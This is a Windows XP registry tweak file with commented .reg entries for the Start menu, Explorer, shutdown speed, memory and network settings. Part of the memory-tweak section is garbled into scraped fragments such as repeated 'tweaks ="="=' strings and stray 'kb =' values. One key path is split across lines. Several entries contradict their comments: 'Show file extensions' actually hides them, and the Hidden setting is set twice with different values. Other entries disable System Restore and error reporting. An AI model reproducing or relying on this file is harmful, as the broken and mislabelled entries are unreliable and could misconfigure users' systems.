;Adds Userpasswords2 to control panel
[HKEY_CLASSES_ROOT\CLSID\{98641F47-8C25-4936-BEE4-C2CE1298969D}]
@="User Accounts 2"
"InfoTip"="Starts The Windows 2000 style User Accounts dialog"

[HKEY_CLASSES_ROOT\CLSID\{98641F47-8C25-4936-BEE4-C2CE1298969D}\DefaultIcon]
@="%SystemRoot%\\\\System32\\\\nusrmgr.cpl,1"

[HKEY_CLASSES_ROOT\CLSID\{98641F47-8C25-4936-BEE4-C2CE1298969D}\Shell]

[HKEY_CLASSES_ROOT\CLSID\{98641F47-8C25-4936-BEE4-C2CE1298969D}\Shell\Open]

[HKEY_CLASSES_ROOT\CLSID\{98641F47-8C25-4936-BEE4-C2CE1298969D}\Shell\Open\command]
@="Control Userpasswords2"

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\ControlPanel\NameSpace\{98641F47-8C25-4936-BEE4-C2CE1298969D}]
@="Add Userpasswords2 to Control Panel"

;Control Panel Classic View
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer]
"ForceClassicControlPanel"=dword:00000001

;Show Windows Version on Desktop
;[HKEY_CURRENT_USER\Control Panel\Desktop]
;"PaintDesktopVersion"=dword:00000001

;----------------------------------------------------------------------------------

;----(3/9)----------------Start Menu and Taskbar Tweaks----------------------------

;Show Cascading Control Panel Items
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced]
"CascadeControlPanel"="Yes"

;Show Cascading Network Connections
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced]
"CascadeNetworkConnections"="Yes"

;Show Cascading My Documents Folder
;[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced]
;"CascadeMyDocuments"="Yes"

;Show Cascading My Pictures Folder
;[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced]
;"CascadeMyPictures"=Yes"

;NoRecentDocsmenu removes the recent documents from the start menu.
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer]
"NoRecentDocsMenu"=dword:00000001

;Change MenuShowDelay (Start Menu load speed)
;[HKEY_CURRENT_USER\Control Panel\Desktop]
;"MenuShowDelay"="10"

;Remove "set programs access default" from startmenu
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer]
"NoSMConfigurePrograms"=dword:00000001

;Show control panel in start menu
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced]
"Start_ShowControlPanel"=dword:00000002

;Enable scrolling in start menu
;[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced]
;"Start_ScrollPrograms"=dword:00000001

;Disable Highlighting New Programs on Start Menu
;[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced]
;"Start_NotifyNewApps"=dword:00000000

;Sort Start Menu and Favorites in Alphabetical Order
[-HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\MenuOrder\Start Menu]
[-HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\MenuOrder\Favorites]

;Show Programs in the Frequently Used Programs List
;[HKEY_CLASSES_ROOT\Applications]
;"NoStartPage"=""

;Remove Frequent Programs List from the Start Menu
;[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer]
;"NoStartMenuMFUprogramsList"=dword:00000001
;
;[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer]
;"NoStartMenuMFUprogramsList"=dword:00000001

;Remove Username from the Start Menu
;[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer]
;"NoUserNameInStartMenu"=dword:00000001
;
;[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer]
;"NoUserNameInStartMenu"=dword:00000001

;Remove "All Programs" Button from the Start Menu
;[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer]
;"NoStartMenuMorePrograms"=dword:00000001
;
;[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer]
;"NoStartMenuMorePrograms"=dword:00000001

;Clear Recent Documents When Windows Exits
;[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer]
;"ClearRecentDocsOnExit"=dword:00000001
;
;[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer]
;"ClearRecentDocsOnExit"=dword:00000001

;Disable Balloon Tips
;[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced]
;"EnableBalloonTips"=dword:00000000

;Disable Automatic Hiding of Inactive Tray Icons
;[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer]
;"EnableAutoTray"=dword:00000000

;Disable Grouping of Similar Taskbar Buttons
;[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced]
;"TaskbarGlomming"=dword:00000000
;
;[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced]
;"TaskbarGlomming"=dword:00000000

;Disable Taskbar Context Menus
;[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer]
;"NoTrayContextMenu"=dword:00000001
;
;[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer]
;"NoTrayContextMenu"=dword:00000001

;----------------------------------------------------------------------------------

;-----(4/9)-------------------Explorer / System Tweaks------------------------------

;Disable the Unread Mail Message on the Welcome Screen
;[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\UnreadMail]
;"MessageExpiryDays"=dword:00000000

;Disable Fast User Switching
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon]
"AllowMultipleTSSessions"=dword:00000000

;Enable Boot Defrag to speed up booting
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Dfrg\BootOptimizeFunction]
"Enable"="Y"

;Disable Recent Documents History
[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer]
"NoRecentDocsHistory"=dword:00000001

[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer]
"NoRecentDocsHistory"=dword:00000001

;Enable Monitor Power-off on the Logon Screen
;[HKEY_USERS\.DEFAULT\Control Panel\Desktop]
;"PowerOffActive"="1"
;"ScreenSaveActive"="1"
;"SCRNSAVE.EXE"="(None)"
;[HKEY_USERS\.DEFAULT\Control Panel\PowerCfg]
;"CurrentPowerPolicy"="0"

;Classic search, full path in title bar and address bar.
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\CabinetState]
;"FullPath"=dword:00000001
;"FullPathAddress"=dword:00000001
"Use Search Asst"="no"
"Settings"=hex:0c,00,02,00,1b,01,e7,77,60,00,00,00

;Disables Preview of Movie file formats (allowing you to move/rename/delete without errors)
[-HKEY_CLASSES_ROOT\.avi\ShellEx]
[-HKEY_CLASSES_ROOT\.mpg\ShellEx]
[-HKEY_CLASSES_ROOT\.mpe\ShellEx]
[-HKEY_CLASSES_ROOT\.mpeg\ShellEx]

;This adds the "Open Command Window Here" on the right click menu for folders
;[HKEY_CLASSES_ROOT\Directory\shell\cmd]
;@="Open Command Window Here"
;[HKEY_CLASSES_ROOT\Directory\shell\cmd\command]
;@="cmd.exe /k \"cd %L\""
;[HKEY_CLASSES_ROOT\Drive\shell\cmd]
;@="Open Command Window Here"
;[HKEY_CLASSES_ROOT\Drive\shell\cmd\command]
;@="cmd.exe /k \"cd %L\""

;Add notepad to right click menu
;[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Directory\shell\Notepad]
;@="Notepad"

;[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Directory\shell\Notepad\command]
;@="C:\\Windows\\notepad"

;Adds "Copy to" And "Move to" to context menu
;[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AllFilesystemObjects\shellex\ContextMenuHandlers\Copy To]
;@="{C2FBB630-2971-11D1-A18C-00C04FD75D13}"
;[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AllFilesystemObjects\shellex\ContextMenuHandlers\Move To]
;@="{C2FBB631-2971-11D1-A18C-00C04FD75D13}"

;Shortcuts without "Shortcut to.."
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer]
"link"=hex:00,00,00,00

;Disable System Restore
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SystemRestore]
"DisableSR"=dword:00000001

;Show hidden files and folders
;[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced]
;"Hidden"=dword:00000002

;Edit .nfo files with notepad
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.nfo]

[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.nfo\OpenWithList]
"a"="NOTEPAD.EXE"
"MRUList"="a"

[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.nfo\OpenWithProgids]
"nfo_auto_file"=hex(0):

;NoLowDiskSpaceChecks (won't check if you are low on diskspace and pop up a balloon telling you)
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer]
"NoLowDiskSpaceChecks"=dword:00000001

;Disable Recycle Bin
;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\BitBucket]
;"NukeOnDelete"=dword:00000001

;Disable CDROM AutoRun
;[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Cdrom]
;"AutoRun"=dword:00000000

;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer]
;"NoDriveTypeAutoRun"=dword:00000091

;[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer]
;"NoDriveTypeAutoRun"=dword:00000091

;Disable CD Burning
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer]
"NoCDBurning"=dword:00000001

;Disable Tracking of Broken Shortcut Links
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer]
"NoResolveTrack"=dword:00000001

;Disable Use Web Service to open file
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\System]
"NoInternetOpenWith"=dword:00000001

[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer]
"InternetOpenWith"=dword:00000000

;Speeds up copying/moving of zip files(disable zip functionality)
[-HKEY_CLASSES_ROOT\.zip\CompressedFolder]
[-HKEY_CLASSES_ROOT\CLSID\{E88DCCE0-B7B3-11d1-A9F0-00AA0060FA31}]
[-HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CompressedFolder]

;Disable Automatic Restart in the event of a BSOD
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\CrashControl]
"AutoReboot"=dword:00000000

;Speed up shutdown
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control]
"WaitToKillServiceTimeout"="1000"

[HKEY_USERS\.DEFAULT\Control Panel\Desktop]
"AutoEndTasks"="1"

;Application Hung Timeout value
[HKEY_CURRENT_USER\Control Panel\Desktop]
"HungAppTimeout"="1000"

[HKEY_USERS\.DEFAULT\Control Panel\Desktop]
"HungAppTimeout"="1000"

;Automatically End Hung Applications
[HKEY_CURRENT_USER\Control Panel\Desktop]
"AutoEndTasks"="1"

[HKEY_USERS\.DEFAULT\Control Panel\Desktop]
"AutoEndTasks"="1"

;Windows Prefetcher Service
; (0=disabled, 1=app launch prefetch, 2=boot prefetch, 3=both)
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management\PrefetchParameters]
"EnablePrefetcher"=dword:00000003

;Enable Quick Reboot (Shift+Ctrl+Alt+Del)
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon]
"EnableQuickReboot"="1"

;Disables Error Reporting, but notifies when critical errors occur
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PCHealth\ErrorReporting]
"DoReport"=dword:00000000

;Disable Welcome Screen and uses Classic Logon
;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon]
;"LogonType"=dword:00000000

;Disable Windows Picture and Fax Viewer
[-HKEY_CLASSES_ROOT\SystemFileAssociations\image\ShellEx\ContextMenuHandlers\ShellImagePreview]

;Increasing Icon Cache
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer]
"Max Cached Icons"="2000"

;Do not use Simple File Sharing
;[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa]
;"forceguest"=dword:00000000

;Speedup network browsing
[-HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RemoteComputer\NameSpace\{D6277990-4C6A-11CF-8D87-00AA0060F5BF}]
[-HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RemoteComputer\NameSpace\{2227A280-3AEA-1069-A2DE-08002B30309D}]

;Speedup network logon/boot
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\system]
"SynchronousMachineGroupPolicy"=dword:00000000
"SynchronousUserGroupPolicy"=dword:00000000

;Speed up net by improving DNS resolution
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Dnscache\Parameters]
"CacheHashTableBucketSize"=dword:00000001
"CacheHashTableSize"=dword:00000180
"MaxCacheEntryTtlLimit"=dword:0000fa00
"MaxSOACacheEntryTtlLimit"=dword:0000012d

;Disable "Offline Files and Folders"
;[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\NetCache]
;"SyncAtLogon"=dword:00000000
;"SyncAtLogoff"=dword:00000000
;"NoReminders"=dword:00000001
;
;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\NetCache]
;"Enabled"=dword:00000000

;Speed up opening of My Computer and Explorer
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\stisvc]
"Start"=dword:00000004

[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer]
"NoSaveSettings"=dword:00000000

[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced]
"NoNetCrawling"=dword:00000001

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer]
"NoRemoteRecursiveEvents"=dword:00000001

;Optimize the Windows Server Service (1=minimise memory, 2=balance, 3=max netw. throughput)
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\lanmanserver\parameters]
"Size"=dword:00000002

;Clear the Page File at System Shutdown
;Use 00000000 for a faster shutdown
;Use 00000001 for security reasons or if your pagefile usage is always high
;[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management]
;"ClearPageFileAtShutdown"=dword:00000001

;----------------------------------------------------------------------------------

;-----(5/9)--------------------System/Hardware Tweaks------------------------------

;Change System Environment Variables
;[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Environment]
;"TEMP"="N:\\Temp"
;"TMP"="N:\\Temp"

;Disable sticky keys (Popups up when pressing shift for some time, accessibility)
[HKEY_CURRENT_USER\Control Panel\Accessibility\StickyKeys]
"Flags"="506"

;Disable the NTFS Last Access Time Stamp (speeds up viewing folders in ntfs)
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem]
"NtfsDisableLastAccessUpdate"=dword:00000001

;Change the Number of Page Table Entries
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management]
"SystemPages"=dword:0000C350

;Show Run in Separate Memory Space Option to run 16 bit programs in VDM
;[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer]
;"MemCheckBoxInRunDlg"=dword:00000001
;
;[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer]
;"MemCheckBoxInRunDlg"=dword:00000001

;Force Windows to Unload DLLs from Memory
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\AlwaysUnloadDLL]
"Default"="1"

;Improve Core System Performance **** WARNING : Requires atleast 512 MB RAM!
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management]
"DisablePagingExecutive"=dword:00000001

;Increase IoPageLockLimit (disk cache)
; Note- Use the following settings depending on your system RAM:
; 00020000 = 131072 KB (if RAM > 512 MB)
; 00010000 = 65536 KB (if RAM > 256 MB)
; 00008000 = 32768 KB (if RAM > 128 MB)
; 00004000 = 16384 KB (if RAM > 64 MB)
; 00002000 = 8192 KB (if RAM > 32 MB)
; 00001000 = 4096 KB (if RAM < kb =" 00002000" kb =" 00001000" kb =" 00000800" kb =" 00000400" kb =" 00000200" kb =" 00000100" minanimate="0" kbid="%s" q="%s" q="%s" q="%s" file="%s" 0="default," 1="admin" 2="disabled" kbps =" 0004e200" kbps =" 0003e800" kbps =" 00036b00" kbps =" 0002ee00" kbps =" 00027100" kbps =" 0001f400" kbps =" 0001b580" kbps =" 0000fa00" kbps =" 0000dac0" tweaks ="="="="="="="="="="="="="="="="="="="="="="="" tweaks ="="="="="="="="="="="="="="="="="="="="="="="="" tweaks ="="="="="="="="="="="="="="="="="="="="="="" tweaks ="="="="="="="="="="="="="="="="="="="="="="="="="="="" tweaks ="="="="="="="="="="="="="="="="="="="="="="="="="="="="="="" tweaks ="="="="="="="="="="="="="="="="="="="="="="="="="="="="="" tweaks ="="="="="="="="="="="="="="="="="="="="="="="="="" tweaks ="="="="="="="="="="="="="="="="="="="="="="="="="="="" tweaks ="="="="="="="="="="="="="="="="="="="="="="="="="="="" tweaks ="="="="="="="="="="="="="="="="="="="="="="="="="="="="" tweaks ="="="="="="="="="="="="="="="="="="="="="="="="="="="="="="="" tweaks ="="="="="="="="="="="="="="="="="="="="="="="="="" tweaks ="="="="="="="="="="="="="="="="="="="="="="="" 00000002 =" Automatic" 00000003 =" Manual" 00000004 =" Disabled" 00000001 =" minimize" 00000002 =" balance" 00000003 =" maximize" default="2)" 00020000 =" 131072"> 512 MB)
;00010000 = 65536 KB (if RAM > 256 MB)
;00008000 = 32768 KB (if RAM > 128 MB)
;00004000 = 16384 KB (if RAM > 64 MB)
;00002000 = 8192 KB (if RAM > 32 MB)
;00001000 = 4096 KB (if RAM < 00000001 =" disabled," 00000000 =" enabled)" 1 =" ON," 0 =" OFF)">run

[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer]
"MemCheckBoxInRunDlg"=dword:00000001

; Do not use Simple File Sharing (does not work in XP HE)

[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa]
"forceguest"=dword:00000000

;Put my computer, my network places, my documents , IE on the desktop

[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\HideDesktopIcons\NewStartPanel]
"{20D04FE0-3AEA-1069-A2D8-08002B30309D}"=dword:00000000
"{450D8FBA-AD25-11D0-98A8-0800361B1103}"=dword:00000000
"{208D2C60-3AEA-1069-A2D7-08002B30309D}"=dword:00000000
"{871C5380-42A0-1069-A2EA-08002B30309D}"=dword:00000000

;Remove Shared Documents from My Computer

[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer]
"NoSharedDocuments"=dword:00000001
[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer]
"NoSharedDocuments"=dword:00000001
[-HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\MyComputer\NameSpace\DelegateFolders\{59031a47-3f72-44a7-89c5-5595fe6b30ee}]
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer]

;Clear recent documents when you log-off

[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer]
"ClearRecentDocsOnExit"=dword:00000001

;Won't check if you are low on disk space and pop up a balloon telling you, No Instrumentation disables windows user tracking and cause the recent used programs from the start menu to stop functioning

[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer]
"NoLowDiskSpaceChecks"=dword:00000001
"NoInstrumentation"=dword:00000001

;Hard Disk Free Space Warning Value: 0 - 99 percent (Default is 10)

[HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\LanmanServer\Parameters]
"DiskSpaceThreshold"=dword:00000005

;Enable Windows 2000 File Sorting Method
[HKEY_CURRENT_USER\Software\Microsoft\W
indows\CurrentVersion\Policies\Explorer]
"NoStrCmpLogical"=dword:00000001

;cached "folder-view settings", currently 250 (to speed-up browsing local folders)

[HKEY_CURRENT_USER\Software\Microsoft\Windows\Shell]
"BagMRU Size"=dword:000000FA
[HKEY_CURRENT_USER\Software\Microsoft\Windows\ShellNoRoam]
"BagMRU Size"=dword:000000FA

;Caching thumbnails settings

[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer]
;"ThumbnailSize"=dword:00000020
"ThumbnailQuality"=dword:0000001E

;Display drives in longhorn mode
;0 = windows default
;1 = only network drive's letters shown.
;2 = no drive letters shown
;4 = all drive letters shown

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer]
"ShowDriveLettersFirst"=dword:00000002

; Change Drive name and icon You have to change the \C\ below to the drive you want to change

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\DriveIcons\C\DefaultLabel]
@="Local OS"
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\DriveIcons\C\DefaultIcon]
""="c:\icons\myicons.dll,4"

;Show protected operating system files

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\SuperHidden]
"DefaultValue"=dword:00000001
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced]
"ShowSuperHidden"=dword:00000001

;Status bar, list view for Explorer

[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Streams]
"Settings"=hex:09,00,00,00,03,00,00,00,00,00,00,00,e0,a5,1f,0e,73,35,cf,11,ae,\
69,08,00,2b,2e,12,62,04,00,00,00,04,00,00,00,43,00,00,00

;Icon view for Explorer

[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Streams]
"Settings"=hex:09,00,00,00,01,00,00,00,01,00,00,00,e0,d0,57,00,73,35,cf,11,ae,\
69,08,00,2b,2e,12,62,04,00,00,00,04,00,00,00,43,00,00,00

;Display detail on windows explorer

[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Streams]
"Settings"=hex:08,00,00,00,04,00,00,00,01,00,00,00,00,77,7e,13,73,35,cf,11,ae,\
69,08,00,2b,2e,12,62,04,00,00,00,10,00,00,00,43,00,00,00

;Remove the Logoff Button

[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced]
"StartMenuLogoff"=dword:00000000
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer]
"StartMenuLogoff"=dword:00000000

;Show logoff button on new start menu

[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced]
"StartMenuLogoff"=dword:00000001

;Show logoff button on classic start menu

[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer]
"StartMenuLogoff"=dword:00000000

;Force Start Menu Logoff Button - Meaning You Cant Disable It

[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer]
"ForceStartMenuLogoff"=dword:00000001
[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer]
"ForceStartMenuLogoff"=dword:00000001

; Enable Cascading of various special folders on Start Menu
"ClassicViewState"=dword:00000001

;----- Start menu Items: Hide/Show/Cascade
;----- dword:00000000= Don't display this time
;----- dword:00000001= Display as a link
;----- dword:00000002= Display as a menu (Cascade)
"Start_ShowControlPanel"=dword:00000002 ; Display Control Pannel as a menu
"StartMenuFavorites"=dword:00000002 ; Show Favorites Menu
"Start_ShowHelp"=dword:00000001 ; Show Help and Support link
"Start_ShowMyComputer"=dword:00000002; Display My Computer as a menu
"Start_ShowMyDocs"=dword:00000002; Display My Documents as a menu
"Start_ShowMyMusic"=dword:00000000; Don't display My Music this time
"Start_ShowMyPics"=dword:00000000; Don't display My Pivtures this time
"Start_ShowNetConn"=dword:00000001; Display Network Conn. as a link
"Start_ShowPrinters"=dword:00000001; Show Printers and Faxes as a link
"Start_ShowRun"=dword:00000001; Display Run Command
"Start_ShowSearch"=dword:00000001; Display Search Command

;Show file extensions

[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced]
"HideFileExt"=dword:00000001

;Show Hidden Files and Folders (1= Do not Show)

[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced]
"Hidden"=dword:00000002

; Hide Protected OS files (1= Show)

[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced]
"ShowSuperHidden"=dword:00000000

;display contents of system folders and C:\ (protected folder)

[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced]
"WebViewBarricade"=dword:00000001

;Disable thumbnail caching

[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced]
"DisableThumbnailCache"=dword:00000001

;Show hidden files/objects

[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced]
"Hidden"=dword:00000001

;Show protected OS files

[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced]
"ClassicViewState"=dword:00000000
"PersistBrowsers"=dword:00000000
"ServerAdminUI"=dword:00000000
"EnableBalloonTips"=dword:00000001
"Start_ShowNetPlaces_ShouldShow"=dword:00000041

;Set How many "frequently accessed programs" should be isted at left-panel of new_style Start Menu

[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced]
"Start_MinMFU"=dword:00000004

;Show Control Panel as cascaded menu

[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced]
"Start_ShowControlPanel"=dword:00000002
"Start_ShowHelp"=dword:00000001

;Cascade "My Documents" from Start Menu

[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced]
"Start_ShowMyDocs"=dword:00000002
"Start_ShowMyMusic"=dword:00000000
"Start_ShowMyPics"=dword:00000000
"Start_ShowPrinters"=dword:00000000
"Start_ShowSetProgramAccessAndDefaults"=dword:00000000
"Start_ShowRecentDocs"=dword:00000002

;Disable highlighting of new applications in start menu

[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced]
"Start_NotifyNewApps"=dword:00000000

;Administrative Tools in your Start Menu

[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced]
"Start_AdminToolsRoot"=dword:00000000

;Set icon size for start menu , 1 = Large / 0 = Small Icons

[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced]
"Start_LargeMFUIcons"=dword:00000001

;Don't Group Similar Taskbar Buttons

[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced]
"TaskbarGlomming"=dword:00000000
[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced]
"TaskbarGlomming"=dword:00000000

;Adds Printers and Faxes to MY Computer

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\MyComputer\NameSpace\{2227A280-3AEA-1069-A2DE-08002B30309D}]

;Adds Recycle Bin to MY Computer

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\MyComputer\NameSpace\{645FF040-5081-101B-9F08-00AA002F954E}]

;Adds Network Connections to MY Computer

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\MyComputer\NameSpace\{7007ACC7-3202-11D1-AAD2-00805FC1270E}]

;Adds Administrative Tools to MY Computer

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\MyComputer\NameSpace\{D20EA4E1-3957-11D2-A40B-0C5020524153}]

;Adds Scheduled Tasks to MY Computer

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\MyComputer\NameSpace\{D6277990-4C6A-11CF-8D87-00AA0060F5BF}]

;Display "Control Panel" in My Computer

[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\HideMyComputerIcons]
"{21EC2020-3AEA-1069-A2DD-08002B30309D}"=dword:00000000

;Remove Recycle Bin From Desktop

